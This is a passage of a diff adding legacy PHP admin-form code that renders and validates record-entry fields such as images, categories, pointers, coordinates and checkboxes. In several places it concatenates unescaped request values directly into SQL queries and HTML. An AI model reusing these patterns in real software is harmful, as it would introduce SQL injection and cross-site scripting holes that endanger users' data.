+ <OPTION VALUE="Middle"'.($im_data[$im_num]['align']=="Middle"?" SELECTED":"").'>Middle
+ <OPTION VALUE="Bottom"'.($im_data[$im_num]['align']=="Bottom"?" SELECTED":"").'>Bottom
+ </SELECT>
+ ' : '<INPUT TYPE="hidden" NAME="align" VALUE="">' ).'
+ '.( $im_size ? '
+ Size
+ <SELECT NAME="'.$field[0].'_SIZE['.$im_num.']">
+ <OPTION VALUE="Original"'.($im_data[$im_num]['size']=="Original"?" SELECTED":"").'>Original
+ <OPTION VALUE="Resized"'.($im_data[$im_num]['size']=="Resized"?" SELECTED":"").'>Resized (width='.SI_RESIZED_SIZE.')
+ <OPTION VALUE="Midsized"'.($im_data[$im_num]['size']=="Midsized"?" SELECTED":"").'>Midsized (width='.SI_MIDSIZED_SIZE.')
+ <OPTION VALUE="Thumb"'.($im_data[$im_num]['size']=="Thumb"?" SELECTED":"").'>Thumb (width='.SI_THUMB_SIZE.')
+ </SELECT>
+ ' : '<INPUT TYPE="hidden" NAME="size" VALUE="">' ).'
+ </TD>
+ </TR>
+ '.( $im_des ? '<TR><TD COLSPAN="2">'.$im_des_t.' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$im_des_s.'"></TD>' : '' ).'
+ </TABLE>
+ <BR>';
+ $im_num++;
+ }
+ break;
+
+ case "HIDDEN":
+ case "DISLPLAY":
+ case "SUPPLIED":
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+
+ case "file":
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '<INPUT TYPE="file" NAME="'.$field[0].'">';
+ break;
+ case "SUPPLIED":
+ case "DISPLAY":
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<FONT COLOR="red">SUPPLIED/DISPLAY/HIDDEN not allowed here for file</FONT>';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "category":
+
+ // If picklist is selected - use that for selection
+
+ if( strstr($f[3],'picklist') )
+ {
+ if( ($nodes = cat_get_nodes($f[1])) )
+ {
+ $out[$outcount]["value"] .= '<SELECT NAME="'.$field[0].'"><OPTION VALUE="">';
+
+ reset($nodes);
+ while( list($key, $val) = each($nodes) )
+ {
+ $out[$outcount]["value"] .= '<OPTION VALUE="'.$val['id'].'">';
+ if( strstr($f[3],'fullpath') )
+ $out[$outcount]["value"] .= $val['cat_fullpath'];
+ else
+ {
+ for( $i=0 ; $i<$val['cat_level'] ; $i++ )
+ $out[$outcount]["value"] .= " ";
+ $out[$outcount]["value"] .= $val['name'];
+ }
+ }
+ $out[$outcount]["value"] .= '</SELECT>';
+ }
+ else
+ $out[$outcount]["value"] .= 'No categories listed.';
+ }
+ else // Otherwise use pop-up
+ {
+
+ // Check if a value for this field is supplied
+ if( !empty($GLOBALS[$field[4]]) )
+ {
+ if( ($cval = cat_get_node( $f[1], "id = ".$GLOBALS[$field[4]] ) ) )
+ {
+ $cat_id = $GLOBALS[$field[4]];
+ if( strstr($f[3],'fullpath') )
+ $cat_name = $cval['cat_fullpath'];
+ else
+ $cat_name = $cval['cat_name'];
+ }
+ }
+ else
+ {
+ $cat_id = 0;
+ $cat_name = " ";
+ }
+
+ $pop_width = !empty($f[4]) ? $f[4] : 200 ;
+ $pop_height = !empty($f[5]) ? $f[5] : 300 ;
+ $edit_width = !empty($f[6]) ? $f[6] : 400 ;
+ $edit_height = !empty($f[7]) ? $f[7] : 500 ;
+
+ $out[$outcount]["value"] .= "
+ <script language=\"JavaScript1.2\">
+ <!--
+ function category_select_popup_".$field[0]."( target )
+ {
+ // Pass values to the calendar
+
+ tempX = 400;
+ tempY = 300;
+
+ node_id = this.document.getElementById( target ).value;
+ var theUrl='".SI_BASE_URL."/glm_apps/category_select_popup.phtml?id=' + node_id + '&field_name=".$field[0]."&table=".$f[1]."&options=".urlencode($f[3])."&edit_width=".$edit_width."&edit_height=".$edit_height."&pop_width=".$pop_width."&pop_height=".$pop_height."';
+
+ tempX = tempX - 90;
+ tempY = tempY - 170;
+
+ if (navigator.appName == 'Netscape')
+ {
+ CategoryWind = window.open( theUrl, 'Calendar','scrollbars=yes,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.",screenx=' + tempX + ',screeny=' + tempY,1 );
+ }
+ else
+ {
+ CategoryWind = window.open( theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.", top=' + tempY + ', left=' + tempX,1 );
+ }
+
+ CategoryWind.focus();
+ }
+ -->
+ </script>
+ ";
+
+ $out[$outcount]["value"] .= '<INPUT TYPE="text" NAME="'.$field[0].'_NAME" ID="'.$field[0].'_NAME" VALUE="'.$cat_name.'" SIZE="'.$f[2].'" READONLY="readonly" STYLE="background-color: #eeeeee;">
+ <INPUT TYPE="hidden" NAME="'.$field[0].'" ID="'.$field[0].'" VALUE="'.$cat_id.'">
+ <A HREF="javascript:category_select_popup_'.$field[0].'(\''.$field[0].'\')">[Change]</A>
+ ';
+ }
+ break;
+
+ case "pointer":
+
+ // If {value_field} type option supplied use that, otherwise use id of record as VALUE
+ $value_field = !empty($f[3]) ? $f[3] : "id" ;
+
+ // If {where} type option supplied use that, otherwise get all possibilities from other table
+ $w = !empty($f[4]) ? " WHERE ".$f[4] : "" ;
+
+ // If picklist options
+ $p = !empty($f[5]) ? $f[5] : "" ;
+
+ // Sort field for query
+ $s = !empty($f[6]) ? $f[6] : "id" ;
+
+ // Pointer options
+
+ $pointer_option_add_field = FALSE;
+ if( ! empty($f[7]) )
+ {
+ $option_table = explode_trim( ",", $f[7] );
+ foreach( $option_table as $option )
+ {
+ switch( $option )
+ {
+ case "add_field": // Option to display a field for entering a new target
+ $pointer_option_add_field = TRUE;
+ break;
+
+ default:
+ break;
+ }
+ }
+ }
+
+
+ $s = !empty($f[6]) ? $f[6] : "id" ;
+
+ // Check if a value for this field is supplied
+ if( !empty($field[4]) )
+ $supplied = $GLOBALS[$field[4]];
+ else
+ $supplied = "";
+
+ switch( $field[3] )
+ {
+ // These require us to build a pick list
+ case "TRUE":
+ case "FALSE":
+ case "SUPPLIED":
+
+ $d = db_auto_get_data( "SELECT * FROM ".$f[1].$w." ORDER BY ".$s.";", $conn_str, FALSE, 500 );
+
+ if( !$d )
+ {
+ $out[$outcount]["value"] = '<FONT COLOR="red">No records from which to build picklist</FONT>';
+ }
+ else
+ {
+ // Create table of possibilities for pick list
+
+ unset( $da );
+ while( list($key, $val) = each($d) )
+ {
+ $da[$val[$value_field]] = $val[$f[2]];
+
+ // If {required} setting is "SUPPLIED"
+ if( $field[3] == "SUPPLIED" && $val[$value_field] == $GLOBALS[$field[4]] )
+ $dkey = $val[$value_field]; // Get id of record we're refering to
+ }
+
+ $out[$outcount]["value"] = build_picklist( $field[0], $da, $dkey, "standard", $p );
+ }
+
+ // Provide an additional input field to permit adding a new target value
+
+ if( $pointer_option_add_field )
+ $out[$outcount]["value"] .= '<NOBR> or add new value <INPUT TYPE="text" NAME="'.$field[0].'_add_field"></NOBR>';
+
+ break;
+
+ // These require us to just get the data for the specific index
+
+ case "DISPLAY":
+ case "HIDDEN":
+ if( empty($field[4]) )
+ {
+ $out[$outcount]["value"] = '<FONT COLOR="red">Missing value for DISPLAY & HIDDEN</FONT>';
+ break;
+ }
+ $d = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE ".$value_field." = ".$GLOBALS[$field[4]]." ORDER BY ".$s.";", 0, $conn_str, $fail_mode );
+ if( !$d )
+ {
+ $out[$outcount]["value"] = '<FONT COLOR="red">Specified value for DISPLAY/HIDDEN not found in table</FONT>';
+ break;
+ }
+ else
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$d[$value_field].'">';
+
+ if( $field[3] == "DISPLAY" ) // If DISPLAY add the visible data after the hidden field
+ {
+ if( $f[5] == "checkbox" )
+ $out[$outcount]["value"] .= ($d[$f[2]]=='t'?"Yes":"No");
+ else
+ $out[$outcount]["value"] .= $d[$f[2]];
+ }
+
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "list":
+ // If picklist options
+ $p = !empty($f[3]) ? $f[3] : "" ;
+
+ $option_table = "";
+ $opts = explode_trim( "~", $f[1] ); // Separate list options
+ $def_value = !empty($f[2]) ? $f[2] : "" ;
+ foreach( $opts as $opt )
+ {
+ $os = explode_trim( "^", $opt ); // Separate value from displayed text
+ $option_table[$os[0]] = $os[1];
+ }
+ $out[$outcount]["value"] = build_picklist( $field[0], $option_table, $def_value, "standard", $p );
+ if( $out[$outcount]["value"] == '' )
+ $out[$outcount]["value"] = '(no options listed)';
+ break;
+
+ case "state": // Special case of list
+
+ $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_states_array'], $f[1], "standard", $f[2] );
+ break;
+
+ case "country": // Special case of list
+
+ $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_countries_array'], $f[1], "standard", $f[2] );
+ break;
+
+ case "checkbox":
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '<INPUT TYPE="checkbox" NAME="'.$field[0].'">';
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = '<INPUT TYPE="checkbox" NAME="'.$field[0].'" '.($GLOBALS[$field[4]]=="t"?"CHECKED":"").'>';
+ break;
+
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+
+ case "DISPLAY":
+ $out[$outcount]["value"] = '<FONT COLOR="red">DISPLAY/HIDDEN not available for type checkbox at this time</FONT>';
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "bitmap":
+
+ $bmap = explode_trim( "~", $f[1] );
+ $out[$outcount]["value"] = "";
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "FALSE":
+ for( $i=0 ; $i<count($bmap) ; $i++ )
+ if( $bmap[$i] != '' )
+ $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0]."[$i]".'">'.$bmap[$i].'<BR>';
+ break;
+
+ case "SUPPLIED":
+ case "DISPLAY":
+ case "HIDDEN":
+ for( $i=0 ; $i<count($bmap) ; $i++ )
+ if( $bmap[$i] != '' )
+ {
+ $x = $GLOBALS[$field[4]] & pow( 2, $i ) ? " CHECKED" : ""; // Check if this bit set in supplied value
+ $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0]."[$i]".'"'.$x.'>'.$bmap[$i].'<BR>';
+ }
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ if( $out[$outcount]["value"] == '' )
+ $out[$outcount]["value"] = '(no options listed)';
+ break;
+
+ case "break":
+ if( !empty($f[1]) ) // if {t1} is supplied
+ $out[$outcount]["value"] = $f[1];
+ else
+ $out[$outcount]["value"] = '<FONT COLOR="red">No {text} supplied for type "break"</FONT>';
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+ break;
+
+ } // switch( field )
+
+ $outcount++;
+ } // foreach( field )
+
+ // Build submit button and hidden action and put in {submit}
+
+ $submit = '
+ <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+ '.$form_params.'
+ <INPUT TYPE="submit" NAME="Option" VALUE="Add New">
+ ';
+
+ // Replace parameters in Title
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+ $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+ }
+
+ $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+ $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+
+ // Add QuickTip if provided
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+ // Output results
+
+ // Display top of page and open form
+
+ $ret .= '<CENTER>
+ <FORM ENCTYPE="multipart/form-data" ACTION="'.$url.'" METHOD="post" ID="'.$form_name.'" NAME="'.$form_name.'">
+ ';
+
+ $hidden_data = '';
+ if( empty($view) ) // If there's no format spec in $view
+ {
+
+ $ret .= $a_title.'
+ <FONT COLOR="red">(Required fields in red)</FONT><BR>
+ <TABLE BORDER="'.$borders.'" '.($borders>0?' CELLPADDING="5"':"").'>
+ ';
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ if( $out[$i]["name"] != '' )
+ $ret .= '<TR><TH ALIGN="right" VALIGN="top">'.$out[$i]["name"]
+ .' </TH><TD ALIGN="left">'.$out[$i]["value"].' </TD></TR>
+ ';
+ else
+ $hidden_data .= $out[$i]["value"];
+ }
+
+ $ret .= ' <P>
+ </TABLE>'.$hidden_data.$submit; // Output the Confirm field and submit button
+
+ }
+ else // Otherwise use $view to output data
+ {
+ reset( $out );
+ while( list ($k, $v) = each($out) )
+ {
+ $a_title = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $a_title );
+ $view = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $view );
+ $a_title = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $a_title );
+ $view = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $view );
+ }
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+ $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+ }
+ $view = ereg_replace( "\\{submit\\}", $submit, $view );
+ $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+ $ret .= $a_title.$view;
+ }
+
+ // Display bottom of page and close form
+
+ // If HTMLArea is used, attach scripts to set that up to submit button tags
+
+ if( $richtext_used )
+ $ret .= htmlarea_setup_script();
+
+ $ret .= ' </FORM>
+ </CENTER>
+ ';
+
+ return( array( 'text' => $ret, 'status' => true ) );
+}
+
+function admin_new_record( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view = "", $options = "", $quick_tip = "" )
+{
+ $r = admin_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view, $options, $quick_tip );
+
+ echo $r['text'];
+ return( $r['status'] );
+
+}
+
+
+
+
+ // Add new record to a table
+
+function admin_add_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+
+ $ret = '';
+
+ // Make all submitted parameters available
+
+// extract($GLOBALS[HTTP_POST_VARS]);
+// extract($GLOBALS[HTTP_GET_VARS]);
+// extract($GLOBALS[HTTP_POST_FILES]);
+
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ foreach( $field_table as $key => $r )
+ $field_table[$key] = explode_trim( ",", $r );
+
+ // Check for additional parameters that are passed
+
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+ $link_params = $form_params = "";
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+ $names = $values = $not_supplied = $problem = "";
+
+ // For each field in the result
+
+ $comma = ""; // first parameter doesn't need a comma in front of it
+ $outcount = 0;
+ foreach( $field_table as $field )
+ {
+ $names .= $comma.$field[0]; // Add field name to $names for INSERT
+ $out[$outcount]["name"] = $field[0]; // Make name available to view
+ $f = explode_trim( ".", $field[1] ); // Break out optional parameters from field type
+ $fta = explode_trim( "~", $field[2] );
+ $field_title_only = $fta[0];
+
+ switch( $f[0] )
+ {
+ case "money":
+ case "order":
+ case "int":
+ case "float":
+ case "fixed":
+ case "pointer":
+ case "category":
+
+ // Handle special cases in this group of types
+
+ switch( $f[0] )
+ {
+
+ case "money":
+
+ // Get rid of "$" and "," from silly users
+
+ $GLOBALS[$field[4]] = ereg_replace( "[\$,]", "", $GLOBALS[$field[4]] );
+ break;
+
+ case "pointer":
+
+ // Check for add_field values - Add new value to pointer target record
+
+ if( ($add_value = trim($GLOBALS[$field[4].'_add_field'])) != '' )
+ {
+ // If value already exists warn user.
+
+ if( db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE ".$f[2]." = '".trim($GLOBALS[$field[4].'_add_field'])."';", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Value already exists in pick list, don't try to add it again.<BR>";
+ else
+ {
+ // Otherwise, add new value and use pointer to that
+
+ $add_result = db_auto_get_row( "INSERT INTO ".$f[1]." ( ".$f[2]." ) VALUES ( '".trim($GLOBALS[$field[4].'_add_field'])."' );
+ SELECT currval( '".$f[1]."_id_seq' ) AS id;", 0, $conn_str, $fail_mode );
+ $GLOBALS[$field[4]] = $add_result['id'];
+ }
+ }
+
+ break;
+
+ default:
+ break;
+ }
+
+
+ $out[$outcount]["value"] = $GLOBALS[$field[4]];
+ if( !empty($GLOBALS[$field[4]]) && !is_numeric($GLOBALS[$field[4]]) )
+ $not_supplied .= $field_title_only.': "'.$GLOBALS[$field[4]].'" Is not an Integer Number<BR>';
+
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $values .= $comma.$GLOBALS[$field[4]];
+ break;
+
+ case "TRUE":
+ if( !is_numeric($GLOBALS[$field[4]]) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $values .= $comma.$GLOBALS[$field[4]];
+ break;
+
+ case "FALSE":
+ if( is_numeric($GLOBALS[$field[4]]) )
+ $values .= $comma.$GLOBALS[$field[4]];
+ else
+ $values .= $comma."0"; // Default to 0
+ break;
+
+ case "UNIQUE":
+ if( empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $values .= $comma.$GLOBALS[$field[4]];
+
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = ".trim($GLOBALS[$field[4]]).";", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( is_numeric($GLOBALS[$field[4]]) )
+ $values .= $comma.$GLOBALS[$field[4]];
+ else
+ $values .= $comma."0"; // Default to 0
+
+ if( !empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = ".trim($GLOBALS[$field[4]]).";", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+
+ case "lat":
+ // If we've been passed a decimal degree value
+ if( !empty($GLOBALS[$field[4]]) )
+ $v = $GLOBALS[$field[4]];
+ else // Otherwise compile from parts
+ {
+ if( $GLOBALS[$field[4].'_DEG'] > 90 || $GLOBALS[$field[4].'_DEG'] < 0 ||
+ ( $GLOBALS[$field[4].'_MIN'] != '' && ( $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 ) ) ||
+ ( $GLOBALS[$field[4].'_SEC'] != '' && ( $GLOBALS[$field[4].'_SEC'] >= 60 || $GLOBALS[$field[4].'_SEC'] < 0 ) ) )
+ {
+ $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 90. Minutes and Seconds must be 0 to less than 60<BR>";
+ break;
+ }
+ $v = ( $GLOBALS[$field[4].'_NS'] == "N" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+ }
+ $fw = 2;
+ // Rebuild value for display
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'N';
+ if( ($v2=$v) < 0 )
+ {
+ $ns = 'S';
+ $v2 = -1 * $v2;
+ }
+ $dv = (int) $v2;
+ $mv = ( $v2 - $dv ) * 60;
+ $out[$outcount]["value"] = sprintf( "%s %d° %01.".$fw."f'", $ns, $dv, $mv );
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $values .= $comma.$v;
+ break;
+
+ case "TRUE":
+ if( empty($v) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $values .= $comma.$v;
+ break;
+
+ case "FALSE":
+ $values .= $comma.$v;
+ break;
+
+ case "UNIQUE":
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $values .= $comma.$v;
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( !empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $values .= $comma.$v;
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "lon":
+ // If we've been passed a decimal degree value
+ if( !empty($GLOBALS[$field[4]]) )
+ $v = $GLOBALS[$field[4]];
+ else // Otherwise compile from parts
+ {
+ if( $GLOBALS[$field[4].'_DEG'] > 180 || $GLOBALS[$field[4].'_DEG'] < 0 || $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 )
+ {
+ $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 180 and Minutes must be 0 to less than 60<BR>";
+ break;
+ }
+ $v = ( $GLOBALS[$field[4].'_NS'] == "E" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+ }
+ $fw = 2;
+ // Rebuild value for display
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'E';
+ if( ($v2=$v) < 0 )
+ {
+ $ns = 'W';
+ $v2 = -1 * $v2;
+ }
+ $dv = (int) $v2;
+ $mv = ( $v2 - $dv ) * 60;
+ $out[$outcount]["value"] = sprintf( "%s %d° %01.".$fw."f'", $ns, $dv, $mv );
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $values .= $comma.$v;
+ break;
+
+ case "TRUE":
+ if( empty($v) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $values .= $comma.$v;
+ break;
+
+ case "FALSE":
+ $values .= $comma.$v;
+ break;
+
+ case "UNIQUE":
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $values .= $comma.$v;
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( !empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $values .= $comma.$v;
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+
+ break;
+
+
+ case "password":
+ case "list":
+ case "text":
+ case "inet":
+ case "state":
+ case "country":
+ case "url":
+ case "richtext":
+ case "textbox":
+
+ // Check for special cases
+
+ switch( $f[0] )
+ {
+
+ case "password":
+ if( $GLOBALS[$field[4]] != $GLOBALS[$field[4].'_verify'] )
+ $not_supplied .= $field_title_only.': The two copies of this password do not match. <BR>';
+ break;
+
+ case "inet":
+ if( ($r = clean_input( $field[0], 'inet' )) != '' )
+ $problem .= '<FONT COLOR="red">'.$field_title_only.': Not a valid IP address or netmask.</FONT><BR>';
+ break;
+
+ case "list":
+ // If 'multi' is selected for picklist option, then compile results from array
+ if( strstr( $f[3], 'multi' ) )
+ {
+ $m_val = $sep = '';
+
+ // Place results in '~' separated string for storage.
+
+ if( is_array($GLOBALS[$field[4]]) )
+ foreach( $GLOBALS[$field[4]] as $m )
+ {
+ $m_val .= $sep.$m;
+ $sep = '~';
+ }
+ $GLOBALS[$field[4]] = $m_val;
+ }
+
+ break;
+
+ default:
+ break;
+ }
+
+ $v = str_replace( "%27", "\'", $GLOBALS[$field[4]] );
+ if( trim(strip_tags($v)) == '' )
+ $v = '';
+ $out[$outcount]["value"] = $v;
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $values .= $comma."'".$v."'";
+ break;
+
+ case "TRUE":
+ if( empty($v) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $values .= $comma."'".$v."'";
+ break;
+
+ case "FALSE":
+ $values .= $comma."'".$v."'";
+ break;
+
+ case "UNIQUE":
+ if( empty($v) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ {
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($v)."';", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ }
+ $values .= $comma."'".$v."'";
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( !empty($v) )
+ {
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($v)."';", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ }
+ $values .= $comma."'".$v."'";
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "date":
+ $out[$outcount]["value"] = $GLOBALS[$field[4]];
+
+ if( trim($GLOBALS[$field[4]]) == "" ) // Blank dates must be "NULL"
+ $dval = "NULL";
+ else
+ $dval = "'".$GLOBALS[$field[4]]."'";
+
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $values .= $comma.$dval;
+ break;
+
+ case "TRUE":
+ if( empty($GLOBALS[$field[4]]) )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $values .= $comma.$dval;
+ break;
+
+ case "FALSE":
+ $values .= $comma.$dval;
+ break;
+
+ case "UNIQUE":
+ if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."';", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $values .= $comma.$dval;
+ break;
+
+ case "UNIQUE_NOT_REQ":
+ if( !empty($GLOBALS[$field[4]]) && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."';", 0, $conn_str, $fail_mode ) )
+ $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+ $values .= $comma.$dval;
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "multifield":
+
+ $line = 0;
+ $empty = TRUE;
+ $m_data = array();
+
+ // Build array of data to store
+ while( isset( $GLOBALS[$field[4].'_'.($line+1).'_1'] ) )
+ {
+ $line++;
+ if( trim($GLOBALS[$field[4].'_'.$line.'_1']) != '' )
+ {
+ $a = array();
+ for( $i=1 ; $i<=$f[1] ; $i++ )
+ {
+ $a[$i-1] = trim( str_replace("%27", "\'", $GLOBALS[$field[4].'_'.($line).'_'.$i] ) );
+ if( $a[$i-1] != '' )
+ $empty = FALSE;
+ }
+ array_push( $m_data, $a );
+ }
+ }
+
+ if( !$empty )
+ $v = serialize( $m_data );
+ else
+ $v = '';
+
+ $out[$outcount]["value"] = $v;
+
+ switch ($field[3])
+ {
+ case "TRUE" :
+ if( $empty )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ else
+ $values .= $comma."'".$v."'";
+ break;
+
+ case "FALSE" :
+ $values .= $comma."'".$v."'";
+ break;
+
+ default :
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+
+ break;
+
+ case "image":
+
+ $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $problem .= '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for image input</FONT><BR>';
+ break;
+
+ case "TRUE":
+ if( $GLOBALS[$field[4]."_name"] == "" )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ // no break; here - falls through to FALSE
+
+ case "FALSE":
+ if( $GLOBALS[$field[4]."_name"] != "" )
+ $values .= $comma."'".process_image( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+ else
+ $values .= $comma."''";
+ break;
+
+ default:
